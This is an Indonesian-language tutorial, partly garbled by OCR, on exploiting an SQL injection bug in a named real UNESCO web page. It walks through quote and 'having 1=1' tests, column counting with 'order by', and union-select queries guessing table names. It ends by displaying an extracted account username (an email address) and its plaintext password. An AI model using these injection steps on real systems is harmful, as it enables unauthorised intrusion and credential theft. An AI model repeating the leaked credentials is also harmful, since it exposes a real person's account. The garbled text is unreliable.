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Kenapa dikatakan MSSQL Injection?

MSSQL Injection adalah singkatan dari Microsoft SQL Injection yakni bug SQL Injection yang
berada di MS-SQL Server

Microsoft SQL Server adalah sebuah sistem manajemen basis data relasional (RDBMS)

produk Microsoft. Bahasa kueri utamanya adalah Transact-SQL yang merupakan implementasi
dari &L standar ANSI/ISO yang digunakan oleh Microsoft dan Sybase. Umumnya SQL Server

digunakan di dunia bisnis yang memiliki basis data berskala kecil sampai dengan menengah,

tetapi kemudian berkembang dengan digunakannya SQL Server pada basis data besar.

Sekarang buat percobaan kita exploit bug yang terdapat pada UNESCO

Bug terletak di : httpzllwebworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308

[ + ] tester

Langkah pertama kita test link di atas dengan string (&#39;)

Menjadi

v ;gi-aw ~ r   . :pass

Micresn& GLE DEH Provider lor 2322186- Drivers error 833119924"

;Micmsuñjibñwl Microsoft Access Driver] Syntax sam&#39; in strrrlg in query expression ?ruñle_iD=1E37i92*1l1m85

fihzdfridExperliJetail. anp, line m

Yups error selanjutnya kita pastikan bahwa itu sql injection dengan cara menambahkan perintah
having 1=1



Mirwan& OLE DB Praisider for 80863 Drivers @ma: Him-lm?

ll-ñicmsañjmfiBt Micmssñ Access Email minna glans& (1211 Milton! gmuping m aggregation.

ñtzdfiiclExçzeñEletaii asp. lina 251

Yups bisa dipastikan vuln sqli

Sekarang kita coba langsung eksekusi bug ini dengan perintah :jika perintah ini tereksekusi
maka mysql web ini adalah versi 5



:tpi,ffwebworldunescl..tiongchemalzablesn&#39;

orldunesco .orgfi ~ L `s : x y . ~ prnsrcn

&#39;osofl OLE DEI Providerfor ODBC Drivers error 8001311005&#39;

rosofl][ODElC Microsoft Access Driver] Could not ñnd lile &#39;oz\windows\system32\inetsrv\information_schema.mdb&#39;.

fitdExpertDetailasp, line 2D

Waduhh ternyata versi 4 terpaksa tebak-tebakan

Sebelum menebak-nebak kita cari tau dulu jumlah kolom nya dengan perintah order by

http://webworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 order by 1 <= tidak error

http://webworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 order by 12 <= tidak error

http://webworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 order by 22 <= tidak error

httpzllwebworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 order by 32 <= error

httpzllwebworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 order by 31 <= error

httpzllwebworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 order by 30 <= tidak error

berarti bisa dipastikan jumlahnya ada 30 kolom sekarang saatnya mencari nomor injeksinya

dengan perintah union select



httpzllwebworld.unesco.org/itcd/itdExpertDetail.asp?lD=-1071940308 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3O

&#39;osofl OLE DEI Providerfor ODBC Drivers error BDDDADDS&#39;

rosoñHODElC Microsoft Access Driver] Queryinput must contain at least one table or query.

fitclExpertDelaiiasp, line 2D

Wahh error kita langsung tebak-tebak kolom dengan cara menambahkan from namatabel di

belakang angka terakhir

http://webworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3O from admin

(- error

http://webworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3O from user (-
error

http://webworld.unesco.org/itcd/itdExpertDetail.asp?lD=1071940308 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3O from

tbladmin (- error



http://webworld.unesco.org/itcd/itdExpertDetai|.asp?|D=1071940308 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3O from tbluser

(- error

http://webworld.unesco.org/itcd/itdExpertDetai|.asp?|D=1071940308 union select

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3O from

tblaccount (- tidak error

ht ,fweblworltiunesco.orgfltcdfltdExpertDetarl.asp?I 1U?194U3U8 union select 1,2,3,4,5,6,?,8,9,1D,1l,12,13,14,15,16,1?,18,19,20,21,22,23,24,25,26,2?,28,29,3U From
tblaccount

,EnabfefPosttdata _&#39; D&#39; Enable Referr

rector! of Exgerrs : 1_.9:

&#39;es 1|]
:Jenmani: 11
;anazatrons 12
fdress: 13 Tefephone: 2|]

14 , 15 Fax: 21
16 18 Web Site: Q
19 E-Ma# Address: Q

aguages: 24

Education

Keluar angka injeksinya saatmya tebak- tebak nama kolom

Kita coba username



http:,ffwebworld.Jago.ggfitcdfitdExpertDetail.asp?ID=1U?194U3U8 union se|ect11,.2,3,4,5,6,?,8,9, 1U,username, 12,13, 14,15,16,1?, 18, 19,2U,21,22,23,Z1EEEéEEEE,29,3U
tblaccount

&#39;es 1|]
:Jam/neni: _maksr@mail.ru
ganaiation: 12
Vdress: 13 Tefephone: 2D

14 , 15 Fax: 21
16 18 Web Site: Q
19 E-Man&#39; Address: 2_3

aguages: 24

Education

Degree-s

Work heheheh

Nama usernamenya adalah maksr@mai|.ru

Sekarang kita coba password



rector! of Exgens : 1.9:la;

&#39;es 1|]
:Jam/neni: _maksr@mail.ru
ganaiation: haySBTnIJrm
Vdress: 13 Tefephone; 2D

14 , 15 Fax." 21
16 18 Web Site: Q
19 E-Mai! Address: 2_3

aguages: 24

Education

Degree-s

Work lagi

Username: _maksr@mail.ru

Password: hays37norm

Sekian tutorial dari saya

Salam dari saya

Wi N?3$T

Tanks for mbak dewi dan umut can


